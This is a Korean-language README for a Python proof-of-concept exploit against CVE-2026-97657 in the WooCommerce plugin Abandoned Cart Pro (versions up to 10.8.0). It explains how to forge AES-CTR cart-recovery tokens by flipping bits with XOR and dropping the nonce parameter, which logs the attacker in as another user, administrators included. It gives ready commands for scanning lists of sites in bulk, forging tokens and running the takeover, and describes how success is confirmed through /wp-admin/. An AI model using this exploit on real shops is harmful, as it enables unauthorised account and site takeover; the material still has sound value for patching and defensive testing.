
CVE-2026-97657에 대한 Python PoC: XOR 가변성을 이용해 AES-CTR 복구 토큰을 위조하여 인증을 우회하고 Abandoned Cart Pro ≤10.8.0에서 WordPress 계정을 탈취합니다.
CVE-2026-97657 — Abandoned Cart Pro for WooCommerce(Tyche Softwares) ≤ 10.8.0에 대한 Python 3 PoC입니다. CNA: Wordfence.
| 제품 | Abandoned Cart Pro for WooCommerce |
| 영향 범위 | ≤ 10.8.0 (10.8.0 초과의 수정된 릴리스로 업그레이드) |
| CWE | CWE-639 — 사용자 제어 키를 통한 인증 우회 |
| CVSS 3.1 | 9.8 Critical |
| 검증 마커 | POCBIT-97657-OK (세션/관리자 확인) |
| PoCbit | https://pocbit.org/pocs/cve-2026-97657 |
복구 링크는 MAC 없는 AES-CTR 토큰(Wcal_Aes_Ctr 호환 레이아웃: 8바이트 CTR nonce + 암호문, base64)을 사용합니다. 플러그인은 공격자가 제어하는 user_email 쿼리 파라미터로부터 이메일별 **encrypt_key**를 로드합니다. wcap_email_track_links()(Pro, Lite 대응 함수 wcal_email_track_links())에서 wcap_nonce / HMAC 검사는 wcap_nonce가 비어 있지 않을 때만 실행되므로, 이를 생략하면 무결성 검증이 건너뛰어집니다. 복호화 후 abandoned_id(장바구니 행 ID)가 해당 이메일에 속한다는 증명 없이 사용되며, 자동 로그인이 활성화된 경우(기본값) **wp_set_auth_cookie()**가 실행됩니다.
자신의 리마인더 이메일에서 얻은 하나의 정당한 복구 URL을 가진 비인증 공격자는 CTR 암호문을 XOR 조작하여 내장된 장바구니 ID를 피해자의 버려진 장바구니 ID(소스 ID와 동일한 길이)로 변경하고, wcap_nonce 없이 위조된 URL을 열어 피해자(장바구니를 버린 관리자 포함)로 로그인할 수 있습니다.
일반적인 URL 형태 (Pro):
GET /?wacp_action=checkout_link&[email protected]&validate=<token>
(wcap_action / wcal_action 변형이 존재하며, 추적 링크 URL에는 c=와 같은 추가 매개변수가 포함될 수 있습니다.)
cd CVE-2026-97657
pip install -r requirements.txt
requests, urllib3| 모드 | 목적 | 필수 인수 |
|---|---|---|
check (기본값) | 플러그인 readme.txt를 읽고 버전 ≤ 10.8.0 여부를 표시 | -t URL 또는 --list FILE |
forge | 위조된 복구 URL을 로컬에서 생성 (HTTP 없음) | --recovery-link, --source-cart-id, --target-cart-id |
exploit | 토큰 위조 + HTTP GET + WordPress 세션 검증 | forge와 동일 |
권장 워크플로 (승인된 랩):
check — 플러그인 슬러그 + 버전 ≤ 10.8.0 확인.forge — 트래픽을 보내기 전에 카트 ID 패딩과 URL 형태 검증.exploit — 위조된 복구 URL로 GET 한 번 수행; 쿠키 + /wp-admin/ 확인.exploit/forge는 -t / --list를 사용하지 않습니다. 대상 호스트는 --recovery-link (스킴 + 호스트)에서 가져옵니다.
| 요구 사항 | 이유 |
|---|---|
| 하나의 정상 복구 URL | 유효한 CTR nonce + 암호문과 (보통) ac_sent_history의 user_email / encrypt_key 행을 제공 |
| 자동 로그인이 활성화된 (기본값) 플러그인 ≤ 10.8.0 | 패치된 빌드 또는 비활성화된 자동 로그인은 **wp_set_auth_cookie()**를 차단 |
| 버려진 카트 행이 있는 피해자 등록 WordPress 사용자 | 탈취 경로는 ac_abandoned_cart_history의 **user_id**로 로그인; 순수 게스트 카트는 다른 분기를 사용 |
checkout_link URL 강력 권장 | 평문은 {abandoned_cart_id}&url=...입니다. track_links 토큰은 카트 ID가 아닌 **email_sent_id**를 인코딩하므로 잘못된 ID 유형은 forge를 깨뜨립니다 |
| 동일 길이 ID | CTR XOR 가변성은 바이트를 1:1로만 뒤집습니다; 0으로 패딩 (아래 참조) |
--recovery-link 얻기checkout_link**를 복사합니다 (또는 활성화된 경우 webhooks / 플러그인 내보내기에서).Pro 형태 예시 (벤더 문서 / webhooks에서):
https://shop.example/?wacp_action=checkout_link&validate=<base64-token>
https://shop.example/?wacp_action=checkout_link&[email protected]&validate=<token>
https://shop.example/?wacp_action=track_links&[email protected]&validate=<token>&c=<coupon-token>
이메일에 있는 URL을 정확히 그대로 붙여넣으세요 (validate 포함, 쿼리 순서는 상관없음).
| 소스 | 필드 |
|---|---|
| WooCommerce Abandoned Cart → Cart details (관리자) | Abandoned cart ID (DB 기본 키) |
Webhook 페이로드 (wcap_cart, checkout_link 컨텍스트) | 장바구니 리소스의 "id": "383" |
| MySQL (랩) | wp_ac_abandoned_cart_history.id (Pro 테이블 접두사는 다를 수 있음) |
--source-cart-id 는 본인 토큰 평문 안의 ID(본인의 abandoned cart 행)여야 합니다. --target-cart-id 는 같은 테이블에 있는 피해자의 행입니다.
PoC는 길이가 일치하지 않으면 거부합니다. 두 ID를 같은 너비로 패딩하세요:
| 소스 (본인) | 대상 (피해자) | OK? |
|---|---|---|
383 | 001 | 예 (3자) |
0383 | 0001 | 예 (4자) |
383 | 1 | 아니오 — 대신 0383 / 0001로 forge를 실행하세요 |
| 플래그 | 모드 | 의미 |
|---|---|---|
-t, --target | check | WordPress 사이트 루트, 예: https://shop.example.com |
--list FILE | check | 한 줄에 사이트 URL 하나; # 주석은 무시됨 |
--mode | all | check (기본값), forge, exploit |
--recovery-link URL | forge, exploit | 리마인더 이메일의 전체 복구 URL |
--source-cart-id | forge, exploit | 본인의 abandoned cart 행 ID (토큰 평문에 포함) |
--target-cart-id | forge, exploit | 피해자의 abandoned cart 행 ID (동일한 문자열 길이) |
-j N | check (list) | 병렬 워커 (기본값 8) |
--timeout SEC | check, exploit | HTTP 타임아웃 (기본값 15) |
--insecure | check, exploit | TLS 인증서 검증 비활성화 |
--jsonl FILE | check, exploit | 실행마다 JSON 객체 하나씩 추가 |
--vuln-list FILE | check | 버전 ≤ 10.8.0인 URL 기록 |
-q, --quiet | all | 콘솔 출력 감소 |
--no-color | all | 일반 터미널 |
종료 코드
| 코드 | 조건 |
|---|---|
| 0 | Exploit: success: true; forge: 항상; check: 항상 (단일 -t) |
| 1 | Exploit: 로그인/관리자 검증 실패 |
| 2 | -t 의미 없이 check 목록 실행 (정보성) |
python poc.py -t https://shop.example.com --mode check
python poc.py --list targets.example.txt --mode check -j 16 --vuln-list hits.txt --jsonl scan.jsonl
프로브:
/wp-content/plugins/woocommerce-abandon-cart-pro/readme.txtwoocommerce-abandoned-cart-propython poc.py --mode forge \
--recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=..." \
--source-cart-id "0383" \
--target-cart-id "0001"
출력 JSON에는 **exploit_url**이 포함됩니다(validate에서 HMAC 접미사가 제거되고, nonce 매개변수가 제거됨).
PoC는 또한 원본 링크에 wcap_nonce / **wcal_nonce**가 존재했다면 쿼리에서 이를 제거합니다.
--mode exploit)로컬 토큰 위조를 수행한 다음 단일 비인증 HTTP GET(및 리다이렉트 추적)을 실행합니다. WordPress 자격 증명은 전송되지 않습니다.
sequenceDiagram
participant Att as Attacker PoC
participant WP as WordPress + Pro plugin
participant DB as Plugin DB
Att->>Att: Parse recovery URL (validate, user_email, wacp_action)
Att->>Att: Strip .hmac from validate if present
Att->>Att: XOR-malleate cart ID in CTR ciphertext
Att->>WP: GET forged URL (no wcap_nonce)
WP->>DB: encrypt_key for user_email (attacker email)
WP->>WP: AES-CTR decrypt → forged abandoned_id
WP->>DB: Load user_id for abandoned_id (no ownership check)
WP->>WP: wp_set_auth_cookie(victim) if auto-login on
WP-->>Att: Set-Cookie + redirect (shop / checkout / my-account)
Att->>WP: GET /wp-admin/ with session
Att->>Att: success if logged-in cookies + admin/dashboard
--recovery-link — 호스트가 익스플로잇 대상이 되며, 쿼리 파라미터는 수정되는 부분을 제외하고 보존됩니다.validate가 ciphertext.64hex인 경우, 첫 번째 . 앞부분만 유지됩니다(레거시/다운그레이드 방식 blob).source_cart_id에서 target_cart_id로 변경되도록 합니다(&url= 앞).validate를 생성하고, wcap_nonce / **wcal_nonce**를 제거합니다.wordpress_logged_in* / wordpress_sec* 쿠키를 수집합니다./wp-admin/**을 요청하며, **wp-login.php**로 되돌아가지 않고 대시보드 마커가 나타나면 성공입니다.